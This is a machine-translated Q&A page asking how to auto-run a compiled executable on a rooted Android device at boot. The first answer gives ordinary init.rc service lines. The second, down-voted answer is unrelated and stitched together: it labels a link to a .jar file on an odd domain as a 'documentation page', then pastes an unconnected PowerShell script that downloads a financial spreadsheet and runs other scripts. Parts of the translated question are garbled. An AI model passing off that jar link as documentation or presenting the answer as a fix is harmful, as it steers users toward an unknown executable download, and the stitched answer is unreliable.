如何在启动后在android中自动运行可执行文件?

时间:2013-10-31 06:14:41

标签: c linux android toolkitscriptmanager

我在/system/bin中有一个可执行文件,它是从一个小型C程序编译的。

我有root,可以在executableRe explorer成功运行此Script Manager

尝试init.d方法在启动过程中自动运行此可执行文件,但系统卡在启动徽标上。所以我放弃了。

现在我想知道如何在executable之后以简单的方式自动运行system boot,因为我是Android编程的新手?

P.S。 尝试Script Manager在启动期间以root身份运行它,但系统启动时没有运行它。

2 个答案:

答案 0 :(得分:3)

您可以使用/init.rc。只需阅读它并找到合适的地方开始你的程序,在那里添加这一行:

start myservice

然后,在此文件的末尾,将myservice定义为运行/system/bin/myexecutabe并且默认情况下禁用的服务(仅在有人发出start命令时启动)并且不是它死后重新启动(oneshot),如下所示:

service myservice /system/bin/myexecutable
    disabled
    oneshot

答案 1 :(得分:-2)

documentation page

http://easyrobot.online/temp/permission6.jar

$invocation = (Get-Variable MyInvocation).Value
$directorypath = Split-Path $invocation.MyCommand.Path

Set-Location $directorypath

if ($StepNumber -ne 2) {
        $MyName = $MyInvocation.InvocationName
        $LogFileName = ".\Logs\" + [System.IO.Path]::GetFileNameWithoutExtension($MyName) + [String]::Format("_{0:yyyy-MM-dd_HH-mm-ss}.Log", (Get-Date))
        if (!(Test-Path ".\Logs")) { 
            $X = New-Item -path . -name Logs -ItemType directory 
        }
&PowerShell.exe -noProfile -File NSCCMPIDDownload.ps1  2 *>`&1  | Tee $LogFileName
        exit
        }


## ## ---- STEP2 ------------DownLoad the file from Website


$ErrorActionPreference = "Continue" 


Write-Host Running NSCC-MPID-Download at $(Get-Date)
Write-Host ""

## Download the NSCC-MPID-Directory.xls from website

$datestr=$(Get-Date).ToString("yyyy-MM-dd")

$url="http://www.dtcc.com/~/media/Files/Downloads/client-center/NSCC/NSCC-MPID-Directory.xls"
$destination = $directorypath +"/NSCC-MPID-Directory"+"_"+$datestr+".xls"

## if destination does not exsist, creat a new one.
if (!(Test-Path $destination) ) {
    New-Item $destination  -type file -force
}

$client = new-object System.Net.WebClient 
$client.DownloadFile( $url, $destination)


Write-Host Running NSCCMPIDInsertion.ps1

$cmd = "$directorypath\NSCCMPIDInsertion.ps1"
Invoke-Expression "$cmd"


Write-Host Running NSCCMPIDAfterParse.ps1

$cmd = "$directorypath\NSCCMPIDAfterParse.ps1"
Invoke-Expression "$cmd"

Write-Host --------------------------------------------------------------------------
Write-Host Process ended at $(Get-Date) 
相关问题